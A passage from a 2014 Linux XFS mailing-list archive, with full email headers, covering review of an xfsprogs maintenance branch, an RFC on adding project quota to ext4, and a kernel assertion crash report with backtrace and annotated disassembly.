ESMTP; 28 Jan 2014 14:50:27 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W809w-00086q-7z; Tue, 28 Jan 2014 15:20:24 +1100 Date: Tue, 28 Jan 2014 15:20:24 +1100 From: Dave Chinner <david@fromorbit.com> To: Rich Johnston <rjohnston@sgi.com> Cc: Arkadiusz =?utf-8?Q?Mi=C5=9Bkiewicz?= <arekm@maven.pl>, xfs@oss.sgi.com Subject: Re: [ANNOUNCE] xfsprogs for-3.1.12 branch has been updated to 40c65a7 Message-ID: <20140128042024.GH2212@dastard> X-ASG-Orig-Subj: Re: [ANNOUNCE] xfsprogs for-3.1.12 branch has been updated to 40c65a7 References: <201401201822.48520.arekm@maven.pl> <52E6A9A2.1010905@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52E6A9A2.1010905@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1390882828 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144549 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jan 27, 2014 at 12:46:58PM -0600, Rich Johnston wrote: > Arkadiusz, > > Thanks for compiling the list. > > The for-3.1.12 Branch created from "a547280... 3.1.11 release" > > If there are others you want committed, please let me know. What testing have you done on the branch? > 40c65a7... xfs_metadump: Make -F (force) optional > ec3a1f1... xfs_repair: suggest reboot after dangerous repair > 8660952... xfsprogs: suggest "-d" option for repair of RO mount > 5a8206c... xfs_repair: correct docs for "-t" units > 0d5c444... xfs_fsr: fix SWAPEXT failures under selinux > f3d3dae... libxfs: fix root inode handling inconsistencies > cf507b6... xfsprogs: remove xfs_check references from fsck.xfs > script & manpage > 6e2f2d1... xfsprogs: fix resource leak in longform_dir2_rebuild() > ecde3f9... xfs_repair: test for bad level in dir2 node > d299df7... xfs_repair: avoid segfault if reporting progress early in repair > e660c2e... Sent: Friday, October 11, 2013 12:38:11 AM Subject: > Bug#725971: xfsprogs: config.guess/config.sub out of date for arm64 Can you fix the subject line of this commit, please? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Jan 27 22:42:23 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7D49E7F77 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 22:42:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id E70C9AC001 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 20:42:22 -0800 (PST) X-ASG-Debug-ID: 1390884140-04cbb05bab181580001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id unFvYoBFuiqbqJrz for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 20:42:21 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArkKAK0051J5LGaB/2dsb2JhbABagwyDObRlhVCBHBd0giUBAQEDATIBIyMFCwgDDggBAQklDwUlAxMOE4d9B8lnFxaOaQeEOASYJpIfg0Eo Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl2.internode.on.net with ESMTP; 28 Jan 2014 15:12:20 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W80V6-00088z-B5; Tue, 28 Jan 2014 15:42:16 +1100 Date: Tue, 28 Jan 2014 15:42:16 +1100 From: Dave Chinner <david@fromorbit.com> To: Rich Johnston <rjohnston@sgi.com> Cc: Arkadiusz =?utf-8?Q?Mi=C5=9Bkiewicz?= <arekm@maven.pl>, xfs@oss.sgi.com Subject: Re: [ANNOUNCE] xfsprogs for-3.1.12 branch has been updated to 40c65a7 Message-ID: <20140128044216.GI2212@dastard> X-ASG-Orig-Subj: Re: [ANNOUNCE] xfsprogs for-3.1.12 branch has been updated to 40c65a7 References: <201401201822.48520.arekm@maven.pl> <52E6A9A2.1010905@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <52E6A9A2.1010905@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1390884140 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144549 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jan 27, 2014 at 12:46:58PM -0600, Rich Johnston wrote: > Arkadiusz, > > Thanks for compiling the list. > > The for-3.1.12 Branch created from "a547280... 3.1.11 release" > > If there are others you want committed, please let me know. > > Thanks > --Rich > > > The following have been committed from the candidate list > provided by Arkadiusz: > > > 40c65a7... xfs_metadump: Make -F (force) optional > ec3a1f1... xfs_repair: suggest reboot after dangerous repair > 8660952... xfsprogs: suggest "-d" option for repair of RO mount > 5a8206c... xfs_repair: correct docs for "-t" units > 0d5c444... xfs_fsr: fix SWAPEXT failures under selinux > f3d3dae... libxfs: fix root inode handling inconsistencies Introduces this compiler warning in db/init.c: init.c: In function init: init.c:152:3: warning: implicit declaration of function xfs_initialize_perag_data [-Wimplicit-function-declaration] > cf507b6... xfsprogs: remove xfs_check references from fsck.xfs > script & manpage > 6e2f2d1... xfsprogs: fix resource leak in longform_dir2_rebuild() > ecde3f9... xfs_repair: test for bad level in dir2 node > d299df7... xfs_repair: avoid segfault if reporting progress early in repair > e660c2e... Sent: Friday, October 11, 2013 12:38:11 AM Subject: > Bug#725971: xfsprogs: config.guess/config.sub out of date for arm64 > 5e1c7ac... xfsprogs: handle symlinks etc in fs_table_initialise_mounts() > aba6204... xfsprogs: fix return value of verify_set_primary_sb() > a2ea195... xfsprogs: fix potential memory leak in verify_set_primary_sb() > 3e53939... xfsprogs: fix potential memory leak in repare/sb.c > 820b8c2... xfsprogs: avoid array overflow in pf_batch_read() > 2a1dcdb... xfs_repair: zero out unused parts of superblocks > 982508b... xfsprogs: fix inode crash in xfs_repair Introduces this compiler warning in repair/phase6.c: phase6.c: In function mk_orphanage: phase6.c:895:3: warning: implicit declaration of function alloc_ex_data [-Wimplicit-function-declaration] Running some smoke testing on the branch now. Rich, I expect that you'll be doing some in-depth functionality, scalability and stress testing of the branch over the next week or two? Cheers, Dave. -- Dave Chinner david@fromorbit.com From gnehzuil.liu@gmail.com Tue Jan 28 00:38:17 2014 Return-Path: <gnehzuil.liu@gmail.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3D5017F7C for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 00:38:17 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0FDFC8F8070 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 22:38:14 -0800 (PST) X-ASG-Debug-ID: 1390891092-04cb6c750a16fa60001-NocioJ Received: from mail-pd0-f182.google.com (mail-pd0-f182.google.com [209.85.192.182]) by cuda.sgi.com with ESMTP id HCv0oasfp31nKs19 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 22:38:12 -0800 (PST) X-Barracuda-Envelope-From: gnehzuil.liu@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.182 Received: by mail-pd0-f182.google.com with SMTP id v10so6731070pde.27 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 22:38:11 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:mail-followup-to:mime-version :content-type:content-disposition:user-agent; bh=5JehD2ex3KeQXzzjyHpF8bEK6kYScY6DSMd6PSnDWLo=; b=OqaIfkb8i8Hr+6jmU6xdRjw0UYRCg3wzxZoHxEsIpSP5zfJWjYTxT8eT3piulN1JGC APtVy13kk2WtWPXRBlmqnkTk0aS5/bPjDMMPFA44S6zs7k0+D+8RrzAqWneT9Uw5TAtM JhqcBN/SKoE49wk5WEYHEYBJucdRxx6Du2lOXfwFL/xwXLkkGxOv2CvSGk6rGt2/ceZC Vsoo9SGmBMyIUuGxj7Xqcxuq1Mr00lENSAWZjLDCmDVxUIvkTBmpMrBXLcPbOlLG5wDC BheESDdA0VryLaYrzOiAorgJYvKejAiO8LJrpYrsOjD53owHFEQQuKzqG1DZSLhPLFP3 k4Xw== X-Barracuda-BBL-IP: nil X-Received: by 10.68.8.136 with SMTP id r8mr34625939pba.36.1390891091876; Mon, 27 Jan 2014 22:38:11 -0800 (PST) Received: from gmail.com ([182.92.253.3]) by mx.google.com with ESMTPSA id xn12sm102885424pac.12.2014.01.27.22.38.08 for <multiple recipients> (version=TLSv1 cipher=RC4-SHA bits=128/128); Mon, 27 Jan 2014 22:38:11 -0800 (PST) Date: Tue, 28 Jan 2014 14:42:49 +0800 X-Barracuda-Apparent-Source-IP: 182.92.253.3 From: Zheng Liu <gnehzuil.liu@gmail.com> To: linux-ext4 <linux-ext4@vger.kernel.org>, linux-fsdevel <linux-fsdevel@vger.kernel.org>, xfs@oss.sgi.com Cc: Theodore Ts'o <tytso@mit.edu>, Andreas Dilger <adilger.kernel@dilger.ca>, Jan Kara <jack@suse.cz>, Dmitry Monakhov <dmonakhov@openvz.org>, Li Xi <pkuelelixi@gmail.com>, Dave Chinner <david@fromorbit.com>, Ben Myers <bpm@sgi.com> Subject: [RFC] A draft for making ext4 support project quota Message-ID: <20140128064248.GA8653@gmail.com> X-ASG-Orig-Subj: [RFC] A draft for making ext4 support project quota Mail-Followup-To: linux-ext4 <linux-ext4@vger.kernel.org>, linux-fsdevel <linux-fsdevel@vger.kernel.org>, xfs@oss.sgi.com, Theodore Ts'o <tytso@mit.edu>, Andreas Dilger <adilger.kernel@dilger.ca>, Jan Kara <jack@suse.cz>, Dmitry Monakhov <dmonakhov@openvz.org>, Li Xi <pkuelelixi@gmail.com>, Dave Chinner <david@fromorbit.com>, Ben Myers <bpm@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-pd0-f182.google.com[209.85.192.182] X-Barracuda-Start-Time: 1390891092 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144552 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.10 BSF_SC0_SA085 Custom Rule SA085 Hi all, Here is a draft about ext4 project quota. After discussed in another thread [1], I believe that we have reached a consensus for supporting project quota in ext4 and keep consistency with xfs. Thus I write this draft. As always, comments, suggestions and ideas are welcome. 1. http://www.spinics.net/lists/linux-ext4/msg41275.html Ext4 Project Quota (ver. 0.10) Goal ==== The goal is to make ext4 support project quota which keeps the same behaviour with xfs. After adding this new feature, we can support directory quota based on it. Background ========== The project quota is a quota mechanism can be used to implement a form of directory tree quota, where a specified directory and all of the files and subdirectories below it (i.e. a tree) can be restricted to using a subset of the available space in the filesystem [2]. *Note* Project quota is not directory quota. Project quota is an aggregation of unrelated inodes with the same id (e.g. project id). That means that some directories without the common parent directory could have the same id and are accounted as the same quota. Currently xfs has supported project quota several years, and has a mature interface to manage project quota on kernel and userspace side. After discusstion we believe that we should use the same quota API for project quota on ext4. Now xfs_quota (userspace tool for managing xfs quota) is used to get/set/check project id, which communicates with kernel via ioctl(2). For quota management, xfs_quota uses Q_X* via quotactl(2) to manipulate quota. A XFS_DIFLAG_PROJINHERIT flag is defined in xfs to mark a directory that new file and direcotry created in this directory will get marked with this flag. For project quota, the key issue is how to handle link(2)/rename(2). We summarize the behaviour in xfs as following. *Note* + unaccounted dir x accounted dir link(2) ------- + x + ok error (EXDEV) x ok error (EXDEV) rename(2) --------- + x + ok ok x wrong ok Further, project quota *cannot* be used with group quota at the same time. On the other hand user quota and project quota can be used simultaneously. 2. http://xfs.org/index.php/XFS_FAQ#Q:_Quota:_What.27s_project_quota.3F Design ====== Project id ---------- We have two options to store project id in inode. a) define a new member in ext4_inode structure; b) store project id in xattr. Option a) Pros: * Only need 4 bytes if we use a '__le32' type to store it Cons: * Needs to change disk layout of ext4 inode Option b) Pros: * Don't need to change disk layout Cons: * Take 24 bytes Here I propose to use option *b)* because it is easy for us to support project id and we don't need to worry about changing disk layout. But I raise another issue here. Now inline_data feature has been applied. After waiting inline_data feature stable, we'd better enable inline_data feature by default when we create a new ext4 file system. Now the inode size is 256 bytes by default, we have 72 bytes extra size to store inline data: 256 (default inode size) - 156 (ext4_inode) + 4 (ext4_xattr_ibody_header) + 20 (ext4_xattr_entry) + 4 (value) = 72 If we store project id in xattr, we just leave 48 bytes for inline data. I am not sure whether or not it is too small for some users. When we store project id in xattr, we will use {get,set}fattr to get/set project id. Thus we don't need to change userspace tool to manipulate project id. Meanwhile a _INHERENT flag for inode needs to be defined to indicate that new directory creating in a directory with this flag will get the same project id and get marked with this flag. Project quota API ----------------- For keeping consistency with xfs, here I propose to use Q_X* flag to communicate with kernel via quotactl(2) as we discussed. Due to this we need to define some callback functions to support Q_X* flag. That means that ext4 will support two quota flag sets for being compatible with legacy userspace tools and use the same quotactl API to communicate with kernel for project id like xfs. Currently quota subsystem in vfs doesn't handle project quota. Thus we need to make quota subsystem handle project id properly (e.g. dquot_transfer, dquot_initialize). We need to define a new callback function in order to get project id. Now in vfs we can access uid/gid directly from inode, but we have no way to get project id. A generic callback function is defined to handle uid/gid. The file system itself can handle project id. Until now only ext4 needs to implement this callback function by itself because xfs doesn't use vfs quota subsystem. For handling link(2)/rename(2) like xfs, we only allow hard link or rename operation when the project ids are the same. Otherwise we will return EXDEV error to notify the user. Quota-tools ----------- Now quota-tools (e.g. quotaon, edquota, etc...) don't support project quota. Thus we need to make it support project id. I believe that Li Xi did some works on quota-tools. E2fsprogs --------- After supporting project quota, we need to change e2fsck(1) to make sure that all sub-directories with _INHERENT flag have the same project id. Meanwhile we need to make chattr(1) set/clear _INHERENT flag. Regards, - Zheng From mlsemon35@gmail.com Tue Jan 28 02:22:50 2014 Return-Path: <mlsemon35@gmail.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4E46D7F7D for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 02:22:50 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id F09D0304071 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 00:22:46 -0800 (PST) X-ASG-Debug-ID: 1390897365-04bdf030eb19a620001-NocioJ Received: from mail-oa0-f48.google.com (mail-oa0-f48.google.com [209.85.219.48]) by cuda.sgi.com with ESMTP id mzuMbYvRUEp6NF1B (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 00:22:45 -0800 (PST) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.219.48 X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.48] Received: by mail-oa0-f48.google.com with SMTP id l6so64929oag.21 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 00:22:44 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.48] X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.48] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=PuCzmmzvDLLOl2WqV8Whwi2Qwh4YcpRxAW3LflytQmQ=; b=VT4k10j8g5fAqELARlQJwiqNF8YMrfWz76scL2/QIx0SXxkty2biH7IK/tnzHifO6s Kbi3TNAcTZvKY9Y0m5kHnOT80A07bDbodExdK3f99KdxFkNE+lQowabUqDQe/4O/pxmN DKopt1+cnYtM7feEL7AykZ+sOHDhyNCc8cmrihtr5CJ9Srv9Zd5k+V0KcSzUdc21YwKM FhhIdpNm7MPab01V5Jo+UQ0sjerJcVQ2PhFd/cBnr9TpmEiot1TcQJ6Tqd31TnoxpxPh 79vWVKIKkV5FQHuaByEXSetJMg0wkhczkEyrI9xbmcj2uIStiYWMVTKb5Xu1fsKeRrXF xhgg== X-Received: by 10.60.67.105 with SMTP id m9mr110687oet.58.1390897364134; Tue, 28 Jan 2014 00:22:44 -0800 (PST) Received: from [192.168.0.129] (rrcs-97-79-21-178.se.biz.rr.com. [97.79.21.178]) by mx.google.com with ESMTPSA id wj7sm24640209obc.8.2014.01.28.00.22.43 for <multiple recipients> (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 28 Jan 2014 00:22:43 -0800 (PST) Message-ID: <52E768CF.5040908@gmail.com> Date: Tue, 28 Jan 2014 03:22:39 -0500 From: "Michael L. Semon" <mlsemon35@gmail.com> User-Agent: Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner <david@fromorbit.com> CC: xfs-oss <xfs@oss.sgi.com> Subject: Re: [NOISE] merge window blues, XFS broken References: <52E56386.5040802@gmail.com> <20140127015614.GD2212@dastard> <52E62ADA.2040800@gmail.com> <20140127233039.GF2212@dastard> X-ASG-Orig-Subj: Re: [NOISE] merge window blues, XFS broken In-Reply-To: <20140127233039.GF2212@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-oa0-f48.google.com[209.85.219.48] X-Barracuda-Start-Time: 1390897365 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144555 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 01/27/2014 06:30 PM, Dave Chinner wrote: > On Mon, Jan 27, 2014 at 04:46:02AM -0500, Michael L. Semon wrote: >> root@plbearer:~# ls $TEST_DIR/ >> >> [ 94.140207] XFS: Assertion failed: IS_ALIGNED((unsigned long)vec->i_addr, sizeof(uint64_t)), file: fs/xfs/xfs_log.h, line: 49 >> >> Entering kdb (current=0xc5298c30, pid 297) Oops: (null) >> due to oops @ 0x791752c5 >> CPU: 0 PID: 297 Comm: ls Not tainted 3.13.0+ #1 >> Hardware name: Dell Computer Corporation Dimension 2350/07W080, BIOS A01 12/17/2002 >> task: c5298c30 ti: c520e000 task.ti: c520e000 >> EIP: 0060:[<791752c5>] EFLAGS: 00010286 CPU: 0 >> EIP is at assfail+0x2b/0x2d >> EAX: 00000071 EBX: c60ba600 ECX: 00000296 EDX: c5299098 >> ESI: c60ba61c EDI: c60ba600 EBP: c520fe40 ESP: c520fe2c >> DS: 007b ES: 007b FS: 0000 GS: 0033 SS: 0068 >> CR0: 80050033 CR2: 08f1612c CR3: 4d1f0000 CR4: 000007d0 >> Stack: >> 00000000 79570bc8 79576e28 7956946d 00000031 c520fe70 791ce45f c520fe70 >> 7917ceb0 c520fec4 c50d5068 c520fe70 c55d8000 00000000 c50d5068 c607ae30 >> c60ba600 c520fed4 791cb72b c607af80 c6c01e80 000000d8 c4294000 c520feec >> Call Trace: >> [<791ce45f>] xfs_inode_item_format+0x4a/0x1c5 > > It's not clear to me that there's anything wrong with the inode log > item structure, so I need to know what iovec we tripped over here. > Can you post the disassembly of this function so we can see which > call to xlog_prepare_iovec tripped the assert? i.e.: > > gdb> disass xfs_inode_item_format > > to give the raw disassembly output, and > > gdb> disass /m xfs_inode_item_format > > To output the c-code annotated version. > > Or even just annotating the code with printk()s prior to each > xlog_prepare_iovec() call in xfs_inode_item_format will do ;) > > Cheers, > > Dave. > OK, I had to generate a new crash for this, so pardon the dust: # ======= SERIAL SESSION root@plbearer:/var/lib/xfstests# mkfs.xfs -f $TEST_DEV meta-data=/dev/md3p3 isize=256 agcount=8, agsize=131056 blks = sectsz=512 attr=2, projid32bit=1 = crc=0 data = bsize=4096 blocks=1048448, imaxpct=25 = sunit=16 swidth=32 blks naming =version 2 bsize=4096 ascii-ci=0 ftype=0 log =internal log bsize=4096 blocks=12800, version=2 = sectsz=512 sunit=16 blks, lazy-count=1 realtime =none extsz=4096 blocks=0, rtextents=0 root@plbearer:/var/lib/xfstests# mount $TEST_DEV $TEST_DIR root@plbearer:/var/lib/xfstests# ls $TEST_DIR/ [ 218.561794] XFS: Assertion failed: IS_ALIGNED((unsigned long)vec->i_addr, sizeof(uint64_t)), file: fs/xfs/xfs_log.h, line: 49 Entering kdb (current=0xc5289860, pid 320) Oops: (null) due to oops @ 0x791752c5 CPU: 0 PID: 320 Comm: ls Not tainted 3.13.0+ #12 Hardware name: Dell Computer Corporation Dimension 2350/07W080, BIOS A01 12/17/2002 task: c5289860 ti: c5210000 task.ti: c5210000 EIP: 0060:[<791752c5>] EFLAGS: 00010286 CPU: 0 EIP is at assfail+0x2b/0x2d EAX: 00000071 EBX: c5095500 ECX: 000002a3 EDX: c5289cc8 ESI: c509551c EDI: c5095500 EBP: c5211e40 ESP: c5211e2c DS: 007b ES: 007b FS: 0000 GS: 0033 SS: 0068 CR0: 80050033 CR2: 0860f12c CR3: 4c2a8000 CR4: 000007d0 Stack: 00000000 79571d00 79577f60 7956a5a5 00000031 c5211e70 791ce45f c5211e70 7917ceb0 c5211ec4 c6356068 c5211e70 c55cc000 00000000 c6356068 c607ab10 c5095500 c5211ed4 791cb72b c607af80 c6c01e80 000000d8 c5121000 c5211eec Call Trace: [<791ce45f>] xfs_inode_item_format+0x4a/0x1c5 [<7917ceb0>] ? kmem_alloc+0x64/0xdf [<791cb72b>] xfs_log_commit_cil+0x391/0x4c4 [<7917c763>] xfs_trans_commit+0xac/0x230 [<79172cf1>] xfs_vn_update_time+0xdb/0x142 [<79172c16>] ? xfs_setattr_mode.isra.10+0x63/0x63 [<790eb7f2>] update_time+0x1e/0x9e [<790ed28c>] touch_atime+0xcb/0x103 [<790e5e89>] iterate_dir+0x8f/0x9b [<790e6041>] SyS_getdents64+0x6d/0xcc [<790e5d18>] ? filldir+0xc7/0xc7 [<7944f1b8>] sysenter_do_call+0x12/0x36 Code: 55 89 e5 83 ec 14 3e 8d 74 26 00 89 4c 24 10 89 54 24 0c 89 44 24 08 c7 44 24 04 00 1d 57 79 c7 04 24 00 00 00 00 e8 ad fd ff ff <0f> 0b 55 89 e5 83 ec 14 3e 8d 74 26 00 c7 44 24 10 01 00 00 00 # ===== CRASH SESSION root@plbearer:/mnt/storage/crashdump# crash vmlinux System.map vmcore # setup was snipped SYSTEM MAP: System.map DEBUG KERNEL: vmlinux DUMPFILE: vmcore CPUS: 1 DATE: Mon Jan 27 23:39:03 2014 UPTIME: 00:03:38 LOAD AVERAGE: 0.06, 0.04, 0.02 TASKS: 63 NODENAME: plbearer RELEASE: 3.13.0+ VERSION: #12 Mon Jan 27 23:30:59 EST 2014 MACHINE: i686 (1794 Mhz) MEMORY: 1.2 GB PANIC: "kernel BUG at fs/xfs/xfs_message.c:107!" PID: 320 COMMAND: "ls" TASK: c5289860 [THREAD_INFO: c5210000] CPU: 0 STATE: TASK_RUNNING (PANIC) crash> bt PID: 320 TASK: c5289860 CPU: 0 COMMAND: "ls" #0 [c5211d04] crash_kexec at 79074890 #1 [c5211d50] do_invalid_op at 790023c8 #2 [c5211dec] error_code (via invalid_op) at 7944eeef EAX: 00000071 EBX: c5095500 ECX: 000002a3 EDX: c5289cc8 EBP: c5211e40 DS: 007b ESI: c509551c ES: 007b EDI: c5095500 GS: 2342 CS: 0060 EIP: 791752c5 ERR: ffffffff EFLAGS: 00010286 #3 [c5211e20] assfail at 791752c5 #4 [c5211e44] xfs_inode_item_format at 791ce45a #5 [c5211e74] xfs_log_commit_cil at 791cb728 #6 [c5211ed8] xfs_trans_commit at 7917c75e #7 [c5211f04] xfs_vn_update_time at 79172cec #8 [c5211f28] update_time at 790eb7f0 #9 [c5211f44] touch_atime at 790ed287 #10 [c5211f5c] iterate_dir at 790e5e84 #11 [c5211f78] sys_getdents64 at 790e603c #12 [c5211fb0] ia32_sysenter_target at 7944f1b1 EAX: 000000dc EBX: 00000003 ECX: 08607128 EDX: 00008000 DS: 007b ESI: 08607128 ES: 007b EDI: 6f790000 SS: 007b ESP: 778278b0 EBP: 00000000 GS: 0000 CS: 0073 EIP: 6f7b2424 ERR: 000000dc EFLAGS: 00000216 crash> gdb disass /m xfs_inode_item_format Dump of assembler code for function xfs_inode_item_format: 367 { 0x791ce415 <+0>: push %ebp 0x791ce416 <+1>: mov %esp,%ebp 0x791ce418 <+3>: push %edi 0x791ce419 <+4>: push %esi 0x791ce41a <+5>: push %ebx 0x791ce41b <+6>: sub $0x1c,%esp 0x791ce41e <+9>: lea %ds:0x0(%esi,%eiz,1),%esi 0x791ce423 <+14>: mov %eax,-0x1c(%ebp) 0x791ce426 <+17>: mov %edx,%ebx 368 struct xfs_inode_log_item *iip = INODE_ITEM(lip); 369 struct xfs_inode *ip = iip->ili_inode; 0x791ce428 <+19>: mov 0x44(%eax),%eax 0x791ce42b <+22>: mov %eax,-0x14(%ebp) 370 struct xfs_inode_log_format *ilf; 371 struct xfs_log_iovec *vecp = NULL; 0x791ce42e <+25>: movl $0x0,-0x10(%ebp) 372 373 ilf = xlog_prepare_iovec(lv, &vecp, XLOG_REG_TYPE_IFORMAT); 374 ilf->ilf_type = XFS_LI_INODE; 0x791ce464 <+79>: movw $0x123b,(%esi) 375 ilf->ilf_ino = ip->i_ino; 0x791ce469 <+84>: mov -0x14(%ebp),%ecx 0x791ce46c <+87>: mov 0x14(%ecx),%edx 0x791ce46f <+90>: mov 0x10(%ecx),%eax 0x791ce472 <+93>: mov %eax,0xc(%esi) 0x791ce475 <+96>: mov %edx,0x10(%esi) 376 ilf->ilf_blkno = ip->i_imap.im_blkno; 0x791ce478 <+99>: mov 0x1c(%ecx),%edx 0x791ce47b <+102>: mov 0x18(%ecx),%eax 0x791ce47e <+105>: mov %eax,0x24(%esi) 0x791ce481 <+108>: mov %edx,0x28(%esi) 377 ilf->ilf_len = ip->i_imap.im_len; 0x791ce484 <+111>: movzwl 0x20(%ecx),%eax 0x791ce488 <+115>: mov %eax,0x2c(%esi) 378 ilf->ilf_boffset = ip->i_imap.im_boffset; 0x791ce48b <+118>: mov %ecx,%edx 0x791ce48d <+120>: movzwl 0x22(%ecx),%eax 0x791ce491 <+124>: mov %eax,0x30(%esi) 379 ilf->ilf_fields = XFS_ILOG_CORE; 0x791ce494 <+127>: movl 